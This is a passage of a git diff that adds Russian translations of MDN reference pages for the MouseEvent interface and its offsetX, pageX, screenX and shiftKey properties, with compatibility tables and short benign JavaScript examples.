+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузеров</h2>
+
+
+
+<p>{{Compat("api.MouseEvent.ctrlKey")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{ domxref("MouseEvent") }}</li>
+</ul>
diff --git a/files/ru/web/api/mouseevent/index.html b/files/ru/web/api/mouseevent/index.html
new file mode 100644
index 0000000000..610f8aacef
--- /dev/null
+++ b/files/ru/web/api/mouseevent/index.html
@@ -0,0 +1,303 @@
+---
+title: MouseEvent
+slug: Web/API/MouseEvent
+tags:
+  - API
+  - DOM
+  - DOM Events
+  - Interface
+  - NeedsTranslation
+  - Reference
+translation_of: Web/API/MouseEvent
+---
+<p id="Summary">{{APIRef("DOM Events")}}</p>
+
+<p>Интерфейс <code><strong>MouseEvent</strong></code> представляет собой событие, которое происходит в результате взаимодествия пользователя с  манипулятором ( например, мышью). Наиболее частые из таких событий: {{event("click")}}, {{event("dblclick")}}, {{event("mouseup")}}, {{event("mousedown")}}.</p>
+
+<p><code>MouseEvent</code> выводится из метода {{domxref("UIEvent")}}, который в свою очередь происходит из метода {{domxref("Event")}}. Метод {{domxref("MouseEvent.initMouseEvent()")}} допустимо использовать для лучшей совместимости с предыдущими версиями, однако, для создания  <code>MouseEvent </code>рекомендуется использовать конструктор метода  {{domxref("MouseEvent.MouseEvent", "MouseEvent()")}}.</p>
+
+<p>Несколько более конкретные события, производные от события mouseevent: {{domxref("WheelEvent")}} and {{domxref("DragEvent")}}.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("MouseEvent.MouseEvent", "MouseEvent()")}}</dt>
+ <dd>Создает объект <code>MouseEvent</code>.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Данный интерфес наследует свойства от родителей {{domxref("UIEvent")}} и {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MouseEvent.altKey")}} {{readonlyinline}}</dt>
+ <dd>Возвращает значение <code>true,</code> если клавиша  <kbd>alt</kbd> была нажата во время движения мыши.</dd>
+ <dt>{{domxref("MouseEvent.button")}} {{readonlyinline}}</dt>
+ <dd>Представляет код клавиши, нажатой в то время, когда произошло событие мыши.</dd>
+ <dt>{{domxref("MouseEvent.buttons")}} {{readonlyinline}} {{gecko_minversion_inline("15.0")}}</dt>
+ <dd>
+ <p>Отображает, какие клавиши были нажаты во время движения мыши.</p>
+ </dd>
+ <dt>{{domxref("MouseEvent.clientX")}} {{readonlyinline}}</dt>
+ <dd>Отображение X координат курсора мыши в локальной системе координат (DOM контент).</dd>
+ <dt>{{domxref("MouseEvent.clientY")}} {{readonlyinline}}</dt>
+ <dd>Отображение Y координат курсора мыши в локальной системе координат (DOM контент).</dd>
+ <dt>{{domxref("MouseEvent.ctrlKey")}} {{readonlyinline}}</dt>
+ <dd>Возвращает значение <code>true,</code> если клавиша <kbd>control</kbd> была нажата во время движения мыши.</dd>
+ <dt>{{domxref("MouseEvent.metaKey")}} {{readonlyinline}}</dt>
+ <dd>Возвращает значение <code>true,</code> если клавиша <kbd>meta</kbd> была нажата во время движения мыши.</dd>
+ <dt>{{domxref("MouseEvent.movementX")}} {{readonlyinline}}</dt>
+ <dd>Отображает X координат указателя мыши относительно позиции последнего {{event("mousemove")}} события.</dd>
+ <dt>{{domxref("MouseEvent.movementY")}} {{readonlyinline}}</dt>
+ <dd>Отображает Y координат указателя мыши относительно позиции последнего {{event("mousemove")}} события.</dd>
+ <dt>{{domxref("MouseEvent.offsetX")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>Отображает X координат указателя мыши относительно позиции границы отступа целевого узла.</dd>
+ <dt>{{domxref("MouseEvent.offsetY")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>Отображает Y координат указателя мыши относительно позиции границы отступа целевого узла.</dd>
+ <dt>{{domxref("MouseEvent.pageX")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>Отображает X координат указателя мыши относительно всего документа.</dd>
+ <dt>{{domxref("MouseEvent.pageY")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>Отображает Y координат указателя мыши относительно всего документа.</dd>
+ <dt>{{domxref("MouseEvent.region")}} {{readonlyinline}}</dt>
+ <dd>Возвращает id затронутого событием региона. Если ни какой регион затронут не был, возвращает null.</dd>
+ <dt>{{domxref("MouseEvent.relatedTarget")}} {{readonlyinline}}</dt>
+ <dd>Второстепенная цель события, если таковая есть.</dd>
+ <dt>{{domxref("MouseEvent.screenX")}} {{readonlyinline}}</dt>
+ <dd>Отображает X координат указателя мыши в пространстве экрана.</dd>
+ <dt>{{domxref("MouseEvent.screenY")}} {{readonlyinline}}</dt>
+ <dd>Отображает Y координат указателя мыши в пространстве экрана.</dd>
+ <dt>{{domxref("MouseEvent.shiftKey")}} {{readonlyinline}}</dt>
+ <dd>Возвращает true если клавиша <kbd>shift</kbd> была нажата, когда произошло событие мыши.</dd>
+ <dt>{{domxref("MouseEvent.which")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Возвращает код последней нажатой клавиши, когда произошло событие мыши.</dd>
+ <dt>{{domxref("MouseEvent.mozPressure")}} {{non-standard_inline()}} {{readonlyinline}}</dt>
+ <dd>Отображает давление которое было осуществленно при нажатии. Значение будет между <code>0.0</code> (минимальное давление) и <code>1.0</code> (максимальное давление).</dd>
+ <dt>{{domxref("MouseEvent.mozInputSource")}} {{non-standard_inline()}} {{readonlyinline}}</dt>
+ <dd>
+ <p>The type of device that generated the event (one of the <code>MOZ_SOURCE_*</code> constants listed below). This lets you, for example, determine whether a mouse event was generated by an actual mouse or by a touch event (which might affect the degree of accuracy with which you interpret the coordinates associated with the event).</p>
+ </dd>
+ <dt>{{domxref("MouseEvent.webkitForce")}} {{non-standard_inline()}} {{readonlyinline}}</dt>
+ <dd>Отображает количество приложенного давления при клике.</dd>
+ <dt>{{domxref("MouseEvent.x")}} {{experimental_inline}}{{readonlyinline}}</dt>
+ <dd>Alias для {{domxref("MouseEvent.clientX")}}.</dd>
+ <dt>{{domxref("MouseEvent.y")}} {{experimental_inline}}{{readonlyinline}}</dt>
+ <dd>Alias для {{domxref("MouseEvent.clientY")}}</dd>
+</dl>
+
+<h2 id="Константы">Константы</h2>
+
+<dl>
+ <dt>{{domxref("MouseEvent.WEBKIT_FORCE_AT_MOUSE_DOWN")}} {{non-standard_inline}}{{readonlyinline}}</dt>
+ <dd>Минимальная необходимая сила для обычного клика</dd>
+ <dt>{{domxref("MouseEvent.WEBKIT_FORCE_AT_FORCE_MOUSE_DOWN")}} {{non-standard_inline}}{{readonlyinline}}</dt>
+ <dd>Минимальная необходимая сила для усиленного клика</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Данный интерфес наследует свойства от родителей, {{domxref("UIEvent")}} and {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MouseEvent.getModifierState()")}}</dt>
+ <dd>Returns the current state of the specified modifier key. See the {{domxref("KeyboardEvent.getModifierState")}}() for details.</dd>
+ <dt>{{domxref("MouseEvent.initMouseEvent()")}} {{deprecated_inline}}</dt>
+ <dd>Initializes the value of a <code>MouseEvent</code> created. If the event has already being dispatched, this method does nothing.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Данный пример демонстрирует симуляцию нажатия левой клавиши мыши (событие мыши генерируется программно) по чекбоксу используя методы DOM.</p>
+
+<pre class="brush: js">function simulateClick() {
+  var evt = new <a href="/en-US/docs/Web/API/MouseEvent">MouseEvent</a>("click", {
+    bubbles: true,
+    cancelable: true,
+    view: window
+  });
+  var cb = document.getElementById("checkbox"); //element to click on
+  var canceled = !cb.<a href="/en-US/docs/Web/API/EventTarget.dispatchEvent" rel="internal" title="en/DOM/element.dispatchEvent">dispatchEvent</a>(evt);
+  if(canceled) {
+    // A handler called preventDefault
+    alert("canceled");
+  } else {
+    // None of the handlers called preventDefault
+    alert("not canceled");
+  }
+}
+document.getElementById("button").addEventListener('click', simulateClick);</pre>
+
+<pre class="brush: html">&lt;p&gt;&lt;label&gt;&lt;input type="checkbox" id="checkbox"&gt; Checked&lt;/label&gt;
+&lt;p&gt;&lt;button id="button"&gt;Click me&lt;/button&gt;
+</pre>
+
+<p>Нажмите на кнопку, чтобы посмотреть, как работает пример.</p>
+
+<p>{{ EmbedLiveSample('Example', '', '', '') }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#dom-mouseevent-region", "MouseEvent.region")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>From {{SpecName('DOM3 Events')}}, added the <code>region</code> property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Lock','#extensions-to-the-mouseevent-interface','MouseEvent')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>From {{SpecName('DOM3 Events')}}, added <code>movementX</code> and <code>movementY</code> properties.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#extensions-to-the-mouseevent-interface', 'MouseEvent')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>From {{SpecName('DOM3 Events')}}, added <code>offsetX</code> and <code>offsetY</code>, <code>pageX</code> and <code>pageY</code>, <code>x,</code> and <code>y</code> properties.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#events-mouseevents','MouseEvent')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>From {{SpecName('DOM2 Events')}}, added the <code>MouseEvent()</code> constructor, the <code>getModifierState()</code> method and the <code>buttons</code> property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Firefox (Gecko)</th>
+   <th>Edge</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.movementX","movementX")}}<br>
+    {{domxref("MouseEvent.movementY","movementY")}}</td>
+   <td>{{CompatVersionUnknown()}} {{property_prefix("moz")}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>{{ domxref("MouseEvent.buttons", "buttons") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>43</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{ domxref("MouseEvent.which", "which") }}</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>1.0</td>
+   <td>9.0</td>
+   <td>5.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.getModifierState()", "getModifierState()")}}</td>
+   <td>{{CompatGeckoDesktop(15)}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.mozPressure", "mozPressure")}} and {{domxref("MouseEvent.mozInputSource", "mozInputSource")}} {{non-standard_inline}}</td>
+   <td>{{CompatGeckoDesktop(2)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.MouseEvent", "MouseEvent()")}}</td>
+   <td>{{CompatGeckoDesktop(11)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.region")}}</td>
+   <td>{{CompatGeckoDesktop(32)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.offsetX")}}, and {{domxref("MouseEvent.offsetY")}}{{experimental_inline}}</td>
+   <td>{{CompatGeckoDesktop(40)}}</td>
+   <td>9</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Посмотрите_также">Посмотрите также</h2>
+
+<ul>
+ <li>Its direct parent, {{domxref("UIEvent")}}.</li>
+</ul>
diff --git a/files/ru/web/api/mouseevent/offsetx/index.html b/files/ru/web/api/mouseevent/offsetx/index.html
new file mode 100644
index 0000000000..92b2f0105e
--- /dev/null
+++ b/files/ru/web/api/mouseevent/offsetx/index.html
@@ -0,0 +1,122 @@
+---
+title: MouseEvent.offsetX
+slug: Web/API/MouseEvent/offsetX
+tags:
+  - API
+  - MouseEvent
+  - Property
+  - Read-only
+translation_of: Web/API/MouseEvent/offsetX
+---
+<p>{{APIRef("DOM Events")}}{{SeeCompatTable}}</p>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Свойство </font><strong>MouseEvent.offsetX</strong></code>, доступное только для чтения,<code> показывает отступ курсора мыши по оси X от края целевого DOM узла.</code></p>
+
+<p> </p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var xOffset = <em>instanceOfMouseEvent</em>.offsetX;
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Значение с плавающей запятой - double. Ранние версии спецификации определяли возвращаемое значение как целое число. Подробнее смотрите в разделе про совместимость с браузерами.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Характеристка</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-mouseevent-offsetx', 'MouseEvent')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("39.0")}}</td>
+   <td>6</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Переопределено с <code>long</code> на <code>double</code></td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("43.0")}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Переопределено с <code>long</code> на <code>double</code></td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{ domxref("MouseEvent") }}</li>
+</ul>
diff --git a/files/ru/web/api/mouseevent/pagex/index.html b/files/ru/web/api/mouseevent/pagex/index.html
new file mode 100644
index 0000000000..ca9b24d6b9
--- /dev/null
+++ b/files/ru/web/api/mouseevent/pagex/index.html
@@ -0,0 +1,124 @@
+---
+title: MouseEvent.pageX
+slug: Web/API/MouseEvent/pageX
+translation_of: Web/API/MouseEvent/pageX
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p><strong><code><font face="Open Sans, arial, x-locale-body, sans-serif">MouseEvent.</font>pageX</code></strong> - это свойство {{domxref("MouseEvent")}} доступное только для чтения. Данное свойство возвращает значение равное горизонтальной координате, относительно всего документа. Это свойство учитывает любую горизонтальную прокрутку страницы. Первоначально это свойство было определено как длинное целое число. Модуль просмотра CSSOM переопределил его как double float. Подробнее см. Раздел «Совместимость с браузером».</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>pos</em> = <em>event</em>.pageX</pre>
+
+<h2 id="Syntax" name="Syntax">Примеры</h2>
+
+<pre><em>var pageX</em> = <em>event</em>.pageX;
+pageX === event.clientX + (window.pageYOffset || document.body.scrollTop);
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-mouseevent-pagex', 'pageX')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Redefined from <code>long</code> to <code>double</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events', '#widl-Touch-pageX', 'pageX')}}</td>
+   <td>{{Spec2('TouchEvents')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(45.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Redefined from <code>long</code> to <code>double</code></td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile" style="line-height: 19.0909080505371px;">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(45.0)}}</td>
+   <td>{{CompatChrome(45.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Redefined from <code>long</code> to <code>double</code></td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также"><strong>Смотрите также</strong></h2>
+
+<ul>
+ <li>{{domxref("UIEvent.pageX")}}</li>
+</ul>
diff --git a/files/ru/web/api/mouseevent/screenx/index.html b/files/ru/web/api/mouseevent/screenx/index.html
new file mode 100644
index 0000000000..3dfb626393
--- /dev/null
+++ b/files/ru/web/api/mouseevent/screenx/index.html
@@ -0,0 +1,93 @@
+---
+title: MouseEvent.screenX
+slug: Web/API/MouseEvent/screenX
+translation_of: Web/API/MouseEvent/screenX
+---
+<div>{{APIRef("DOM Events")}}</div>
+
+<p><strong><code>screenX</code></strong> - read-only свойство интерфейса события {{domxref("MouseEvent")}}, соответствующее горизонтальной координате (смещению) указателя мыши в глобальных (экранных) координатах.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>x</em> = <em>instanceOfMouseEvent</em>.screenX
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Значение с плавающей точкой типа <code>double</code>. В ранних версиях этой спецификации определялось как целое число, соответсвующее количеству пикселей. Подробнее см. раздел "Совместимость с браузерами". </p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Этом примерер демонстрирует координаты вашей мыши в случае получения события {{Event("mousemove")}}.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Подвигайте мышью, чтобы увидеть положение ее курсора.&lt;/p&gt;
+&lt;p id="screen-log"&gt;&lt;/p&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">let screenLog = document.querySelector('#screen-log');
+document.addEventListener('mousemove', logKey);
+
+function logKey(e) {
+  screenLog.innerText = `
+    Screen X/Y: ${e.screenX}, ${e.screenY}
+    Client X/Y: ${e.clientX}, ${e.clientY}`;
+}</pre>
+
+<h4 id="Результат_выполнения">Результат выполнения</h4>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<h3 id="Обработка_события">Обработка события</h3>
+
+<p>Когда вы отлавливаете события на окне, документе или других элементах, имеющих размер, вы можете получить координаты этого события (например, клика), и обработать его соответсвующим образом, например, так, как в этом примере:</p>
+
+<pre class="brush: js">function checkClickMap(e) {
+  if (e.screenX &lt; 50) doRedButton();
+  if (50 &lt;= e.screenX &amp;&amp; e.screenX &lt; 100) doYellowButton();
+  if (e.screenX &gt;= 100) doRedButton();
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Состояние</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View','#dom-mouseevent-screenx', 'screenX')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Переопределяет {{domxref("MouseEvent")}} из long в double.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#widl-MouseEvent-screenX','MouseEvent.screenX')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Нет изменений ср. с {{SpecName('DOM2 Events')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.sceenX')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице составлена автоматически автоматически. Если вы хотите дополнить или исправить эту таблицу, выполните команду git checkout для <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и затем pull request.</div>
+
+<p>{{Compat("api.MouseEvent.screenX")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{ domxref("MouseEvent") }}</li>
+ <li>{{ domxref("MouseEvent.screenY","screenY") }}</li>
+ <li>{{ domxref("MouseEvent.clientX","clientX") }} / {{ domxref("MouseEvent.clientY", "clientY") }}</li>
+</ul>
diff --git a/files/ru/web/api/mouseevent/shiftkey/index.html b/files/ru/web/api/mouseevent/shiftkey/index.html
new file mode 100644
index 0000000000..81aebded0e
--- /dev/null
+++ b/files/ru/web/api/mouseevent/shiftkey/index.html
@@ -0,0 +1,126 @@
+---
+title: MouseEvent.shiftKey
+slug: Web/API/MouseEvent/shiftKey
+translation_of: Web/API/MouseEvent/shiftKey
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p><strong><code>MouseEvent.shiftKey</code></strong>атрибут только для чтения , кторый указывает была ли нажата клваиша <kbd>shift</kbd>  . Возвращает (<code>true</code>) если нажата <kbd>shift</kbd>, (<code>false</code>) если нет.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>shiftKeyPressed</em> = <em>instanceOfMouseEvent</em>.shiftKey
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Логический</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;shiftKey example&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function showChar(e){
+  alert(
+    "Key Pressed: " + String.fromCharCode(e.charCode) + "\n"
+    + "charCode: " + e.charCode + "\n"
+    + "SHIFT key pressed: " + e.shiftKey + "\n"
+    + "ALT key pressed: " + e.altKey + "\n"
+  );
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onkeypress="showChar(event);"&gt;
+&lt;p&gt;Нажмите на любую символьную клавишу удерживая или не удерживая клавишу SHIFT.&lt;br /&gt;
+Вы также можете использовать клавишу SHIFT вместе с клавишей ALT.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#widl-MouseEvent-shiftKey','MouseEvent.shiftKey')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>No change from {{SpecName('DOM2 Events')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.shiftKey')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
